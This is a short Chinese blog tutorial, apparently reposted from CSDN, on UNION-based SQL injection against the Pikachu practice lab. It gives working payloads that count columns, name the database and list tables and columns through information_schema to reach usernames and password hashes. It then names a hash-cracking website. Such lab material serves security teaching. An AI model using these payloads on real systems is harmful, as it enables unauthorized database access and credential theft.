sql注入(information_schema数据库)

1.union语句
该语句可以使两个语句联合起来,但是该语句有一个前提,就是union后边跟的字段数必须要和前面对应,也就是说要知道前面的字段个数,然后对应上,这里可以用order by,错误的话会出现类似以下样子,说明没有第四字段。
在这里插入图片描述
这时候再试试三:
在这里插入图片描述
他就不会有报错,说明有三个字段,所以就可以用 union select 自己想要的东西了,比如user(),database(),version()等等。


2.information_schema数据库
这个数据库是mysql默认自带的数据库,一般里边会放一些重要的东西,使用这个的流程是:1,找出本数据库的名字。2,已知数据库的名字通过information_schema查该数据库里边的表格有哪些。3通过该表格查找我们需要的信息。如图:
输入: x’ union select database(),1#
输入:  x' union select database(),1#
我们得到的是数据库的名字:pikachu。
然后利用这个数据库名字,查找schema列表中的信息:
x’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
在这里插入图片描述
可以看到有个users的列表,再进入这个列表中查看:
x’ union select table_schema,column_name from information_schema.columns where table_name=‘users’#
在这里插入图片描述

可以找到用户名和密码了,用相同的办法就可以查看这个数据库中的所有信息了,前提是对mysql这个数据库很熟悉,知道mysql数据库中有哪些列表。

在这里插入图片描述
这个是密文,可以用网站:https://cmd5.com
解密。

猜你喜欢

转载自blog.csdn.net/qq_43814486/article/details/88936721